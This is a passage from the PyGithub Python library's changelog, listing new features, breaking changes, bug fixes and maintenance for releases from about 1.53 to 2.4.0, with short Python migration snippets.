^^^^^^^^^^^^ * Rework GraphQL mutations (`#3046 `_) (`27222251 `_) * Make pagination work with GraphQL response data (`#3047 `_) (`cd30e379 `_) * Add `RepositoryDiscussion` powered by GraphQL API (`#3048 `_) (`29359f3c `_) * Add `Repository.get_discussion()` to get a single Discussion (`#3072 `_) (`44120b1e `_) Improvements ^^^^^^^^^^^^ * Adds List organization memberships for the authenticated user (`#3040 `_) (`cf443955 `_) * Add `actor` property to WorkflowRun (`#2764 `_) (`612ba68e `_) * Make requester a public attribute (`#3056 `_) (`c44ec523 `_) Bug Fixes ^^^^^^^^^ * Fix requesting urls containing parameters with parameters dict (`#2929 `_) (`e1d67ada `_) * PullRequest.delete_branch: fix the remaining pull requests check (`#3063 `_) (`72fa6278 `_) Maintenance ^^^^^^^^^^^ * Remove stale bot (`510c1402 `_) * Upgrade Github actions (`#3075 `_) (`323e2828 `_) * Add top issues dashboard action (`#3049 `_) (`c91f26a7 `_) * Make tests pass some more years (`#3045 `_) (`352c55aa `_) * Run top issues workflow only in PyGithub repo (`0d395d4e `_) * Replace pre-commit Github action in order to pin pre-commit version (`#3059 `_) (`1a05b43d `_) Version 2.4.0 (August 26, 2024) ------------------------------- Breaking Changes ^^^^^^^^^^^^^^^^ * The ``github.Commit.Commit`` class provides a ``files`` property that used to return a ``list[github.File.File]``, which has now been changed to ``PaginatedList[github.File.File]``. This breaks user code that assumes a ``list``: .. code-block:: python files = repo.get_commit("7266e812ed2976ea36a4303edecfe5d75522343f").files no_of_files = len(files) This will raise a ``TypeError: object of type 'PaginatedList' has no len()``, as the returned ``PaginatedList`` does not support the ``len()`` method. Use the ``totalCount`` property instead: .. code-block:: python files = repo.get_commit("7266e812ed2976ea36a4303edecfe5d75522343f").files no_of_files = files.totalCount * Removed support for Python 3.7. New features ^^^^^^^^^^^^ * Allow custom authentication (`#2987 `_) (`32b826fd `_) Improvements ^^^^^^^^^^^^ * Add `has_discussions` to `AuthenticatedUser` and `Repository` classes (`#3020 `_) (`75224167 `_) * Update more `SecurityAndAnalysis` attributes (`#3025 `_) (`fa168279 `_) * Implement support for re-running only failed workflow jobs. (`#2983 `_) (`23e87563 `_) * Add possibility to mark a thread/notification as done (`#2985 `_) (`5ba24379 `_) * Add "pull_request_review_id" to PullRequestComment object (`#3000 `_) (`6a59cf82 `_) * Add minimize and unminimize functions for IssueComment class (`#3005 `_) (`09c4f58e `_) * Support Organization/Repository custom properties (`#2968 `_) (`c5e6b702 `_) * Add `dict` type to `add_attribute` script (`#2977 `_) (`2a04f9cc `_) * Allow for deleting and restoring branch associated with PR (`#1784 `_) (`4ba1e412 `_) * Add "archived_at" to Organization object. (`#2974 `_) (`cc766a6f `_) * Adds Security & Analysis To Repository (`#2960 `_) (`f22af54d `_) * Add added_by and last_used attributes to RepositoryKey (`#2952 `_) (`5dffa64d `_) * Add `make_latest` to `GitRelease.update_release` (`#2888 `_) (`60136105 `_) * Make Commit.files return PaginatedList (`#2939 `_) (`fa885f00 `_) Bug Fixes ^^^^^^^^^ * Fix GraphQL Queries with Variables (`#3002 `_) (`4324a3d9 `_) Maintenance ^^^^^^^^^^^ * Remove support for Python 3.7 (#2975, #3008) (d0e05072, 6d60b754) * docs: add missing code-block (`#2982 `_) (`c93e73e2 `_) * Update README.md (`#2961 `_) (`5d9f90d2 `_) * CI: Fix test success job (`#3010 `_) (`61d37dce `_) Version 2.3.0 (March 21, 2024) ------------------------------ New features ^^^^^^^^^^^^ * Support OAuth for enterprise (`#2780 `_) (`e4106e00 `_) * Support creation of Dependabot Organization and Repository Secrets (`#2874 `_) (`0784f835 `_) Improvements ^^^^^^^^^^^^ * Create release with optional name and message when generate_release_notes is true (`#2868 `_) (`d65fc30d `_) * Add missing attributes to WorkflowJob (`#2921 `_) (`9e092458 `_) * Add `created` and `check_suite_id` filter for Repository WorkflowRuns (`#2891 `_) (`c788985c `_) * Assert requester argument type in Auth (`#2912 `_) (`0b8435fc `_) Bug Fixes ^^^^^^^^^ * Revert having allowed values for add_to_collaborators (`#2905 `_) (`b542438e `_) Maintenance ^^^^^^^^^^^ * Fix imports in authentication docs (`#2923 `_) (`e3d36535 `_) * CI: add docformatter to precommit (`#2614 `_) (`96ad19ae `_) * Add .swp files to gitignore (`#2903 `_) (`af529abe `_) * Fix instructions building docs in CONTRIBUTING.md (`#2900 `_) (`cd8e528d `_) * Explicitly name the modules built in pyproject.toml (`#2894 `_) (`4d461734 `_) Version 2.2.0 (January 28, 2024) -------------------------------- Breaking Changes ^^^^^^^^^^^^^^^^ * The ``github.Comparison.Comparison`` instance returned by ``Repository.compare`` provides a ``commits`` property that used to return a ``list[github.Commit.Commit]``, which has now been changed to ``PaginatedList[github.Commit.Commit]``. This breaks user code that assumes a ``list``: .. code-block:: python commits = repo.compare("v0.6", "v0.7").commits no_of_commits = len(commits) This will raise a ``TypeError: object of type 'PaginatedList' has no len()``, as the returned ``PaginatedList`` does not support the ``len()`` method. Use the ``totalCount`` property instead: .. code-block:: python commits = repo.compare("v0.6", "v0.7").commits no_of_commits = commits.totalCount New features ^^^^^^^^^^^^ * Add support to call GraphQL API Improvements ^^^^^^^^^^^^ * Add parent_team_id, maintainers and notification_setting for creating and updating teams. (`#2863 `_) (`49d07d16 `_) * Add support for issue reactions summary (`#2866 `_) (`cc4c5269 `_) * Support for DependabotAlert APIs (`#2879 `_) (`14af7051 `_) * Derive GraphQL URL from base_url (`#2880 `_) (`d0caa3c3 `_) * Make ``Repository.compare().commits`` return paginated list (`#2882 `_) (`2d284d1e `_) * Add missing branch protection fields (`#2873 `_) (`e47c153b `_) * Add ``include_all_branches`` to ``create_repo_from_template`` of ``AuthenticatedUser`` and ``Organization`` (`#2871 `_) (`34c4642e `_) * Add and update organisation dependabot secrets (`#2316 `_) (`603896f4 `_) * Add missing params to ``Organization.create_repo`` (`#2700 `_) (`9c61a2a4 `_) * Update allowed values for ``Repository`` collaborator permissions (`#1996 `_) (`b5b66da8 `_) * Support editing PullRequestReview (`#2851 `_) (`b1c4c561 `_) * Update attributes after calling ``PullRequestReview.dismiss`` (`#2854 `_) (`6f3d714c `_) * Add ``request_cve`` on ``RepositoryAdvisories`` (`#2855 `_) (`41b617b7 `_) * Filter collaborators of a repository by permissions (`#2792 `_) (`702c127a `_) * Set pull request to auto merge via GraphQL API (`#2816 `_) (`232df79a `_) * Support Environment Variables and Secrets (`#2848 `_) (`7df97398 `_) * Update workflow.get_runs & pullrequest.add_to_assignees function signature (`#2799 `_) (`26eedbb0 `_) * Add ``GithubObject.last_modified_datetime`` to have ``last_modified`` as a ``datetime`` (`#2772 `_) (`e7ce8189 `_) * Add support for global advisories and unify some shared logic with repository advisories (`#2702 `_) (`c8b4fcbe `_) * Add internal as valid Repository visibility value (`#2806 `_) (`d4a5a40f `_) * Add support for issue comments reactions summary (`#2813 `_) (`67397491 `_) Bug Fixes ^^^^^^^^^ * Add a bunch of missing urllib.parse.quote calls (`#1976 `_) (`13194be2 `_) * Fix Variable and Secret URL (`#2835 `_) (`aa763431 `_) Maintenance ^^^^^^^^^^^ * Update the class name for NetrcAuth in the examples (`#2860 `_) (`2f44b2e8 `_) * Move build to PEP517 (`#2800 `_) (`c589bf9e `_) * Use new type assert functions in ``Repository`` (`#2798 `_) (`2783e671 `_) * PyTest: Move config to pyproject.toml (`#2859 `_) (`61fb728b `_) * codespell: ignore-words-list (`#2858 `_) (`dcf6d8a1 `_) * Improve fix-headers.py script (`#2728 `_) (`a48c37fa `_) * Remove dependency on python-dateutil (`#2804 `_) (`ab131a2f `_) * CI: update precommit & apply (`#2600 `_) (`d92cfba2 `_) * Fix parameter order according to Version 2.1.0 (`#2786 `_) (`dc37d5c1 `_) * Add missing GitHub classes to docs (`#2783 `_) (`9af9b6e5 `_) * Fix mypy error with urllib3>=2.0.0a1 by ignoring (`#2779 `_) (`64b1cdea `_) Version 2.1.1 (September 29, 2023) ----------------------------------- Bug Fixes ^^^^^^^^^ * Require urllib 1.26.0 or greater (`#2774 `_) (`001c0852 `_) Maintenance ^^^^^^^^^^^ * Fix pypi-release workflow, allow for manual run (`#2771 `_) (`035c88f1 `_) Version 2.1.0 (September 29, 2023) ----------------------------------- Important ^^^^^^^^^ **Request throttling** This release introduces a default throttling mechanism to mitigate secondary rate limit errors and comply with Github's best practices: https://docs.github.com/en/rest/guides/best-practices-for-integrators?apiVersion=2022-11-28#dealing-with-secondary-rate-limits The default throttling of 1 second between writes and 0.25 second between any requests can be configured for ``github.Github`` and ``github.GithubIntegration``: .. code-block:: python g = github.Github(seconds_between_requests=0.25, seconds_between_writes=1) Set these parameters to ``None`` to disable throttling and restore earlier behavior. **Request retry** This release introduces a default retry mechanism to retry retry-able 403 responses (primary and secondary rate limit errors only) and any 5xx response. Class ``github.GithubRetry`` implements this behavior, and can be configured via the ``retry`` argument of ``github.Github`` and ``github.GithubIntegration``. Retry behavior is configured similar to ``urllib3.Retry``: https://urllib3.readthedocs.io/en/stable/reference/urllib3.util.html .. code-block:: python g = github.Github(retry=github.GithubRetry()) Set this parameter to ``None`` to disable retry mechanism and restore earlier behaviour. Breaking Changes ^^^^^^^^^^^^^^^^ **Timestamps** Any timestamps returned by this library are ``datetime`` with timezone information, usually UTC. Before this release, timestamps used to be naive ``datetime`` instances without timezone. Comparing (other than ``==``) these timestamps with naive ``datetime`` instances used to work but will now break. Add a timezone information to your ``datetime`` instances before comparison: .. code-block:: python if g.get_repo("PyGithub/PyGithub").created_at < datetime(2012, 2, 26, tzinfo=timezone.utc): ... **Netrc authentication** A Netrc file (e.g. ``~/.netrc``) does not override PyGithub authentication, anymore. If you require authentication through Netrc, then this is a breaking change. Use a ``github.Auth.NetrcAuth`` instance to use Netrc credentials: .. code-block:: python >>> auth = Auth.NetrcAuth() >>> g = Github(auth=auth) >>> g.get_user().login 'login' **Repository.create_pull** Merged overloaded ``create_pull`` methods .. code-block:: python def create_pull(self, issue, base, head) def create_pull(self, title, body, base, head, maintainer_can_modify=NotSet, draft=False) into .. code-block:: python def create_pull(self, base, head, *, title=NotSet, body=NotSet, maintainer_can_modify=NotSet, draft=NotSet, issue=NotSet) Please update your usage of ``Repository.create_pull`` accordingly. New features ^^^^^^^^^^^^ * Throttle requests to mitigate RateLimitExceededExceptions (`#2145 `_) (`99155806 `_) * Retry retryable 403 (rate limit) (`#2387 `_) (`0bb72ca0 `_) * Close connections after use (`#2724 `_) (`73236e23 `_) Improvements ^^^^^^^^^^^^ * Make datetime objects timezone-aware (`#2565 `_) (`0177f7c5 `_) * Make ``Branch.edit_*`` functions return objects (`#2748 `_) (`8dee53a8 `_) * Add ``license`` attribute to ``Repository`` (`#2721 `_) (`26d353e7 `_) * Add missing attributes to ``Repository`` (`#2742 `_) (`65cfeb1b `_) * Add ``is_alphanumeric`` attribute to ``Autolink`` and ``Repository.create_autolink`` (`#2630 `_) (`b6a28a26 `_) * Suppress ``requests`` fallback to netrc, provide ``github.Auth.NetrcAuth`` (`#2739 `_) (`ac36f6a9 `_) * Pass Requester arguments to ``AppInstallationAuth.__integration`` (`#2695 `_) (`8bf542ae `_) * Adding feature for enterprise consumed license (`#2626 `_) (`a7bfdf2d `_) * Search Workflows by Name (`#2711 `_) (`eadc241e `_) * Add ``Secret`` and ``Variable`` classes (`#2623 `_) (`bcca758d `_) * Add Autolink API link (`#2632 `_) (`aedfa0b9 `_) * Add ``required_linear_history`` attribute to ``BranchProtection`` (`#2643 `_) (`7a80fad9 `_) * Add retry issue to ``GithubException``, don't log it (`#2611 `_) (`de80ff4b `_) * Add ``message`` property to ``GithubException`` (`#2591 `_) (`f087cad3 `_) * Add support for repo and org level actions variables (`#2580 `_) (`91b3f40f `_) * Add missing arguments to ``Workflow.get_runs()`` (`#2346 `_) (`766df993 `_) * Add ``github.Rate.used`` field (`#2531 `_) (`c4c2e527 `_) Bug Fixes ^^^^^^^^^ * Fix ``Branch.bypass_pull_request_allowances`` failing with "nil is not an object" (`#2535 `_) (`c5542a6a `_) * Fix ``required_conversation_resolution`` assertion (`#2715 `_) (`54f22267 `_) * Fix assertion creating pull request review comment (`#2641 `_) (`2fa568b6 `_) * Safely coerce ``responseHeaders`` to ``int`` (`#2697 `_) (`adbfce92 `_) * Fix assertion for ``subject_type`` in creating pull request review comment (`#2642 `_) (`4933459e `_) * Use timezone-aware reset datetime in ``GithubRetry.py`` (`#2610 `_) (`950a6949 `_) * Fix ``Branch.bypass_pull_request_allowances`` failing with "nil is not an object" (`#2535 `_) (`c5542a6a `_) Maintenance ^^^^^^^^^^^ * Epic mass-merge ``.pyi`` type stubs back to ``.py`` sources (`#2636 `_) * Move to main default branch (`#2566 `_) (`e66c163a `_) * Force Unix EOL (`#2573 `_) (`094538e1 `_) * Close replay test data file silently when test is failing already (`#2747 `_) (`6d871d56 `_) * CI: Make CI support merge queue (`#2644 `_) (`a91debf1 `_) * CI: Run CI on release branches (`#2708 `_) (`9a88b6b1 `_) * CI: remove conflict label workflow (`#2669 `_) (`95d8b83c `_) * Fix pip install command in README.md (`#2731 `_) (`2cc1ba2c `_) * Update ``add_attribute.py`` to latest conding style (`#2631 `_) (`e735972e `_) * CI: Improve ruff DX (`#2667 `_) (`48d2009c `_) * CI: Increase wait and retries of labels action (`#2670 `_) (`ff0f31c2 `_) * Replace ``flake8`` with ``ruff`` (`#2617 `_) (`42c3b47c `_) * CI: update labels action name and version (`#2654 `_) (`c5c83eb5 `_) * CI: label PRs that have conflicts (`#2622 `_) (`1d637e4b `_) * Unify requirements files location & source in setup.py (`#2598 `_) (`2edc0f8f `_) * Enable mypy ``disallow_untyped_defs`` (`#2609 `_) (`294c0cc9 `_) * Enable mypy ``check_untyped_defs`` (`#2607 `_) (`8816889a `_) * Set line length to 120 characters (`#2599 `_) (`13e178a3 `_) * CI: Build and check package before release (`#2593 `_) (`3c880e76 `_) * Use ``typing_extensions`` for ``TypedDict`` (`#2592 `_) (`5fcb0c7d `_) * CI: Update action actions/setup-python (`#2382 `_) (`2e5cd31e `_) * Add more methods and attributes to Repository.pyi (`#2581 `_) (`72840de4 `_) * CI: Make pytest color logs (`#2597 `_) (`73241102 `_) * precommit: move ``flake8`` as last (`#2595 `_) (`11bb6bd7 `_) * Test on Windows and macOS, don't fail fast (`#2590 `_) (`5c600894 `_) * Remove symlinks from test data (`#2588 `_) (`8d3b9057 `_) Version 1.59.1 (July 03, 2023) ----------------------------------- Bug Fixes ^^^^^^^^^ * Safely coerce responseHeaders to int (`#2697 `_) (`adbfce92 `_) Version 1.59.0 (June 22, 2023) ----------------------------------- Important ^^^^^^^^^ This release introduces new way of authentication. All authentication-related arguments ``github.Github(login_or_token=…, password=…, jwt=…, app_auth=…)`` and ``github.GithubIntegration(integration_id=…, private_key=…, jwt_expiry=…, jwt_issued_at=…, jwt_algorithm=…)`` are replaced by a single ``auth=…`` argument. Module ``github.Auth`` provides classes for all supported ways of authentication: ``Login``, ``Token``, ``AppAuth``, ``AppAuthToken``, ``AppInstallationAuth``, ``AppUserAuth``. Old arguments are deprecated but continue to work. They are scheduled for removal for version 2.0 release. This project has decided to move all typing information from ``.pyi`` files into the respective ``.py`` source files. This will happen gradually over time. Breaking Changes ^^^^^^^^^^^^^^^^ * The ``position`` argument in ``github.PullRequest.create_review_comment(position=…)`` has been renamed to ``line``. This breaks user code that calls ``create_review_comment`` with keyword argument ``position``. Call with ``line=…`` instead. Calling this method with positional arguments is not breaking. * The ``jwt_expiry``, ``jwt_issued_at`` and ``jwt_algorithm`` arguments in ``github.GithubIntegration()`` have changed their position. User code calling ``github.GithubIntegration(…)`` with these arguments as positional arguments breaks. Please use keyword arguments: ``github.GithubIntegration(…, jwt_expiry=…, jwt_issued_at=…, jwt_algorithm=…)``. * The ``since`` argument in ``github.PullRequest.get_review_comments(…)`` has changed position.`` User code calling ``github.PullRequest.get_review_comments(…)`` with this argument as positional argument breaks. Please use keyword argument: ``github.PullRequest.get_review_comments(since=…)``. Deprecation ^^^^^^^^^^^ * The use of ``github.Github(login_or_token=…)`` is deprecated, use ``github.Github(auth=github.Auth.Login(…))`` or ``github.Github(auth=github.Auth.Token(…))`` instead. * The use of ``github.Github(password=…)`` is deprecated, use ``github.Github(auth=github.Auth.Login(…))`` instead. * The use of ``github.Github(jwt=…)`` is deprecated, use ``github.Github(auth=github.AppAuth(…))`` or ``github.Github(auth=github.AppAuthToken(…))`` instead. * The use of ``github.Github(app_auth=…)`` is deprecated, use ``github.Github(auth=github.Auth.AppInstallationAuth(…))`` instead. * The use of ``github.GithubIntegration(integration_id=…, private_key=…, jwt_expiry=…, jwt_issued_at=…, jwt_algorithm=…)`` is deprecated, use ``github.GithubIntegration(auth=github.Auth.AppAuth(…))`` instead. * The use of ``github.GithubIntegration.create_jwt`` is deprecated, use ``github.Github(auth=github.Auth.AppAuth)``, ``github.Auth.AppAuth.token`` or ``github.Auth.AppAuth.create_jwt(expiration)`` instead. * The use of ``AppAuthentication`` is deprecated, use ``github.Auth.AppInstallationAuth`` instead. * The use of ``github.Github.get_app()`` without providing argument ``slug`` is deprecated, use ``github.GithubIntegration(auth=github.Auth.AppAuth(…)).get_app()``. Bug Fixes ^^^^^^^^^ * Test and fix UTC issue with AppInstallationAuth (`#2561 `_) (`ff3b80f8 `_) * Make Requester.__createException robust against missing message and body (`#2159 `_) (`7be3f763 `_) * Fix auth issues with `Installation.get_repos` (`#2547 `_) (`64075120 `_) * Fix broken urls in docstrings (`#2393 `_) (`f82ad61c `_) * Raise error on unsupported redirects, log supported redirects (`#2524 `_) (`17cd0b79 `_) * Fix GithubIntegration that uses expiring jwt (`#2460 `_) (`5011548c `_) * Add expiration argument back to GithubIntegration.create_jwt (`#2439 `_) (`822fc05c `_) * Add crypto extras to pyjwt, which pulls in cryptogaphy package (`#2443 `_) (`554b2b28 `_) * Remove RLock from Requester (`#2446 `_) (`45f3d723 `_) * Move CI to Python 3.11 release and 3.12 dev (`#2434 `_) (`e414c322 `_) * Pass Requester base URL to integration (`#2420 `_) (`bdceae2f `_) Improvements ^^^^^^^^^^^^ * Add Webhook Deliveries (`#2508 `_) (`517ad336 `_) * Add support for workflow jobs and steps (`#1951 `_) (`804c3107 `_) * Add support for get_app() with App authentication (`#2549 `_) (`6d4b6d14 `_) * Allow multiline comments in PullRequest (`#2540 `_) (`6a21761e `_) * Implement `AppUserAuth` for Github App user tokens (`#2546 `_) (`f291a368 `_) * Add support for environments (`#2223 `_) (`0384e2fd `_) * Add support for new RepositoryAdvisories API :tada: (`#2483 `_) (`daf62bd4 `_) * Make `MainClass.get_app` return completed `GithubApp` when slug is given (`#2543 `_) (`84912a67 `_) * Add authentication classes, move auth logic there (`#2528 `_) (`fc2d0e15 `_) * Add sort order and direction for getting comments (`#2544 `_) (`a8e7c423 `_) * Add `name` filter to `Repository.get_artifacts()` (`#2459 `_) (`9f52e948 `_) * Add `name`, `display_title` and `path` attributes to `WorkflowRun` (`#2397 `_) (`10816389 `_) * Add new `create_fork` arguments (`#2493 `_) (`b94a83cb `_) * add `ref` to Deployment (`#2489 `_) (`e8075c41 `_) * Add query `check_suite_id` integer to `Workflow.get_runs` (`#2466 `_) (`a4854519 `_) * Add `generate_release_notes` parameter to `create_git_release` and `create_git_tag_and_release` (`#2417 `_) (`49b3ae16 `_) * Add example for Pull Request comments to documentation (`#2390 `_) (`c2f12bdc `_) * Add allow_auto_merge support to Repository (`#2477 `_) (`8c4b9465 `_) * Add `artifact_id` argument to `Repository.get_artifact()` (`#2458 `_) (`4fa0a5f3 `_) * Add missing attributes to Branch (`#2512 `_) (`e296dbdb `_) * Add allow_update_branch option to Organization (`#2465 `_) (`bab4180f `_) * Add support for Issue.state_reason #2370 (`#2392 `_) (`5aa544a1 `_) * Add parameters to Repository.get_workflow_runs (`#2408 `_) (`4198dbfb `_) Maintenance ^^^^^^^^^^^ * Add type stub for MainClass.get_project_column (`#2502 `_) (`d514222c `_) * Sync GithubIntegration __init__ arguments with github.Github (`#2556 `_) (`ea45237d `_) * Update MAINTAINERS (`#2545 `_) (`f4e9dcb3 `_) * Link to stable docs, update introduction in package used by pypi, move auth arg front (`#2557 `_) (`006766f9 `_) * Merge PaginatedList.pyi back to source (`#2555 `_) (`cb50dec5 `_) * Merge GithubObject.pyi/Requester.pyi stubs back to source (`#2463 `_) (`b6258f4b `_) * [CI] Moving linting into separate workflow (`#2522 `_) (`52fc1077 `_) * Merging 1.58.x patch release notes into master (`#2525 `_) (`217d4241 `_) * Merge AppAuthentication.pyi to source (`#2519 `_) (`8e8cfb30 `_) * Merge GithubException.pyi stubs back to source (`#2464 `_) (`03a2f696 `_) * Add missing fields from `GithubCredentials.py` to CONTRIBUTING.md (`#2482 `_) (`297317ba `_) * Update docstring and typing for allow_forking and allow_update_branch (Repository) (`#2529 `_) (`600217f0 `_) * Bump actions/checkout from 2 to 3.1.0 (`#2327 `_) (`300c5015 `_) * RTD: install current project (`def5223c `_) * Add current dir sys.path as well (`9c96faa7 `_) * Use use_scm_version to get current version from git tag (`#2429 `_) (`3ea91a3a `_) Version 1.58.2 (May 09, 2023) ----------------------------------- Bug Fixes ^^^^^^^^^ * Fix GithubIntegration that uses expiring jwt (`#2460 `_) (`5011548c `_) Version 1.58.1 (March 18, 2023) ----------------------------------- Bug Fixes ^^^^^^^^^ * Add expiration argument back to GithubIntegration.create_jwt (`#2439 `_) (`822fc05c `_) * Add crypto extras to pyjwt, which pulls in cryptogaphy package (`#2443 `_) (`554b2b28 `_) * Remove RLock from Requester (`#2446 `_) (`45f3d723 `_) * Move CI to Python 3.11 release and 3.12 dev (`#2434 `_) (`e414c322 `_) * pass requester base URL to integration (`#2420 `_) (`bdceae2f `_) * RTD: install current project (`def5223c `_) * Add current dir sys.path as well (`9c96faa7 `_) * Use use_scm_version to get current version from git tag (`#2429 `_) (`3ea91a3a `_) Version 1.58.0 (February 19, 2023) ----------------------------------- Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Add unarchiving support @Tsuesun (`#2391 `_) * Support full GitHub app authentication @dblanchette (`#1986 `_) * Continue the PR #1899 @Felixoid (`#2386 `_) * feat: add allow\_forking to Repository @IbrahimAH (`#2380 `_) * Add code scanning alerts @eric-nieuwland (`#2227 `_) Version 1.57 (November 05, 2022) ----------------------------------- Breaking Changes ^^^^^^^^^^^^^^^^ * Add support for Python 3.11, drop support for Python 3.6 (`#2332 `_) (`1e2f10dc `_) Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Speed up get requested reviewers and teams for pr (`#2349 `_) (`6725eceb `_) * [WorkflowRun] - Add missing attributes (`run_started_at` & `run_attempt`), remove deprecated `unicode` type (`#2273 `_) (`3a6235b5 `_) * Add support for repository autolink references (`#2016 `_) (`0fadd6be `_) * Add retry and pool_size to typing (`#2151 `_) (`784a3efd `_) * Fix/types for repo topic team (`#2341 `_) (`db9337a4 `_) * Add class Artifact (`#2313 `_) (#2319) (`437ff845 `_) Version 1.56 (October 13, 2022) ----------------------------------- Important ^^^^^^^^^ This is the last release that will support Python 3.6. Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Create repo from template (`#2090 `_) (`b50283a7 `_) * Improve signature of Repository.create_repo (`#2118 `_) (`001970d4 `_) * Add support for 'visibility' attribute preview for Repositories (`#1872 `_) (`8d1397af `_) * Add Repository.rename_branch method (`#2089 `_) (`6452ddfe `_) * Add function to delete pending reviews on a pull request (`#1897 `_) (`c8a945bb `_) * Cover all code paths in search_commits (`#2087 `_) (`f1faf941 `_) * Correctly deal when PaginatedList's data is a dict (`#2084 `_) (`93b92cd2 `_) * Add two_factor_authentication in AuthenticatedUser. (`#1972 `_) (`4f00cbf2 `_) * Add ProjectCard.edit() to the type stub (`#2080 `_) (`d417e4c4 `_) * Add method to delete Workflow runs (`#2078 `_) (`b1c8eec5 `_) * Implement organization.cancel_invitation() (`#2072 `_) (`53fb4988 `_) * Feat: Add `html_url` property in Team Class. (`#1983 `_) (`6570892a `_) * Add support for Python 3.10 (`#2073 `_) (`aa694f8e `_) * Add github actions secrets to org (`#2006 `_) (`bc5e5950 `_) * Correct replay for Organization.create_project() test (`#2075 `_) (`fcc12368 `_) * Fix install command example (`#2043 `_) (`99e00a28 `_) * Fix: #1671 Convert Python Bool to API Parameter for Authenticated User Notifications (`#2001 `_) (`1da600a3 `_) * Do not transform requestHeaders when logging (`#1965 `_) (`1265747e `_) * Add type to OrderedDict (`#1954 `_) (`ed7d0fe9 `_) * Add Commit.get_pulls() to pyi (`#1958 `_) (`b4664705 `_) * Adding headers in GithubException is a breaking change (`#1931 `_) (`d1644e33 `_) Version 1.55 (April 26, 2021) ----------------------------------- Breaking Changes ^^^^^^^^^^^^^^^^ * Remove client_id/client_secret authentication (`#1888 `_) (`901af8c8 `_) * Adjust to Github API changes regarding emails (`#1890 `_) (`2c77cfad `_) - This impacts what AuthenticatedUser.get_emails() returns * PublicKey.key_id could be int on Github Enterprise (`#1894 `_) (`ad124ef4 `_) * Export headers in GithubException (`#1887 `_) (`ddd437a7 `_) Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Do not import from unpackaged paths in typing (`#1926 `_) (`27ba7838 `_) * Implement hash for CompletableGithubObject (`#1922 `_) (`4faff23c `_) * Use property decorator to improve typing compatibility (`#1925 `_) (`e4168109 `_) * Fix :rtype: directive (`#1927 `_) (`54b6a97b `_) * Update most URLs to docs.github.com (`#1896 `_) (`babcbcd0 `_) * Tighten asserts for new Permission tests (`#1893 `_) (`5aab6f5d `_) * Adding attributes "maintain" and "triage" to class "Permissions" (`#1810 `_) (`76879613 `_) * Add default arguments to Workflow method type annotations (`#1857 `_) (`7d6bac9e `_) * Re-raise the exception when failing to parse JSON (`#1892 `_) (`916da53b `_) * Allow adding attributes at the end of the list (`#1807 `_) (`0245b758 `_) * Updating links to Github documentation for deploy keys (`#1850 `_) (`c27fb919 `_) * Update PyJWT Version to 2.0+ (`#1891 `_) (`a68577b7 `_) * Use right variable in both get_check_runs() (`#1889 `_) (`3003e065 `_) * fix bad assertions in github.Project.edit (`#1817 `_) (`6bae9e5c `_) * Test repr() for PublicKey (`#1879 `_) (`e0acd8f4 `_) * Add support for deleting repository secrets (`#1868 `_) (`696793de `_) * Switch repository secrets to using f-strings (`#1867 `_) (`aa240304 `_) * Manually fixing paths for codecov.io to cover all project files (`#1813 `_) (`b2232c89 `_) * Add missing links to project metadata (`#1789 `_) (`64f532ae `_) * No longer show username and password examples (`#1866 `_) (`55d98373 `_) * Adding github actions secrets (`#1681 `_) (`c90c050e `_) * fix get_user_issues (`#1842 `_) (`7db1b0c9 `_) * Switch all string addition to using f-strings (`#1774 `_) (`290b6272 `_) * Enabling connection pool_size definition (`a77d4f48 `_) * Always define the session adapter (`aaec0a0f `_) Version 1.54.1 (December 24, 2020) ----------------------------------- * Pin pyjwt version (`#1797 `_) (`31a1c007 `_) * Add pyupgrade to pre-commit configuration (`#1783 `_) (`e113e37d `_) * Fix #1731: Incorrect annotation (`82c349ce `_) * Drop support for Python 3.5 (`#1770 `_) (`63e4fae9 `_) * Revert "Pin requests to <2.25 as well (`#1757 `_)" (#1763) (`a806b523 `_) * Fix stubs file for Repository (`fab682a5 `_) Version 1.54 (November 30, 2020) ----------------------------------- Important ^^^^^^^^^ This is the last release that will support Python 3.5. Breaking Changes ^^^^^^^^^^^^^^^^ The Github.get_installation(integer) method has been removed. Repository.create_deployment()'s payload parameter is now a dictionary. Bug Fixes & Improvements ^^^^^^^^^^^^^^^^^^^^^^^^ * Add support for Check Suites (`#1764 `_) (`6d501b28 `_) * Add missing preview features of Deployment and Deployment Statuses API (`#1674 `_) (`197e0653 `_) * Correct typing for Commit.get_comments() (`#1765 `_) (`fcdd9eae `_) * Pin requests to <2.25 as well (`#1757 `_) (`d159425f `_) * Add Support for Check Runs (`#1727 `_) (`c77c0676 `_) * Added a method for getting a user by their id (`#1691 `_) (`4cfc9912 `_) * Fix #1742 - incorrect typehint for `Installation.id` (`#1743 `_) (`546f6495 `_) * Add WorkflowRun.workflow_id (`#1737 `_) (`78a29a7c `_) * Add support for Python 3.9 (`#1735 `_) (`1bb18ab5 `_) * Added support for the Self-Hosted actions runners API (`#1684 `_) (`24251f4b `_) * Fix Branch protection status in the examples (`#1729 `_) (`88800844 `_) * Filter the DeprecationWarning in Team tests (`#1728 `_) (`23f47539 `_) * Added get_installations() to Organizations (`#1695 `_) (`b42fb244 `_) * Fix #1507: Add new Teams: Add or update team repository endpoint (`#1509 `_) (`1c55be51 `_) * Added support for `Repository.get_workflow_runs` parameters (`#1682 `_) (`c23564dd `_) * feat(pullrequest): add the rebaseable attribute (`#1690 `_) (`ee4c7a7e `_) * Add support for deleting reactions (`#1708 `_) (`f7d203c0 `_) * Correct type hint for InputGitTreeElement.sha (`08b72b48 `_) * Ignore new black formatting commit for git blame (`#1680 `_) (`7ec4f155 `_) * Format with new black (`#1679 `_) (`07e29fe0 `_) * Add get_timeline() to Issue's type stubs (`#1663 `_) (`6bc9ecc8 `_) Version 1.53 (August 18, 2020) ----------------------------------- * Test Organization.get_hook() (`#1660 `_) (`2646a98c `_) * Add method get_team_membership for user to Team (`#1658 `_) (`749e8d35 `_) * Add typing files for OAuth classes (`#1656 `_) (`429fcc73 `_) * Fix Repository.create_repository_dispatch type signature (`#1643 `_) (`f891bd61 `_) * PaginatedList's totalCount is 0 if no last page (`#1641 `_) (`69b37b4a `_) * Add initial support for Github Apps. (`#1631 `_) (`260558c1 `_) * Correct ``**kwargs`` typing for ``search_*`` (`#1636 `_) (`165d995d `_) * Add delete_branch_on_merge arg to Repository.edit type stub (`#1639 `_) (`15b5ae0c `_) * Fix type stub for MainClass.get_user (`#1637 `_) (`8912be64 `_) * 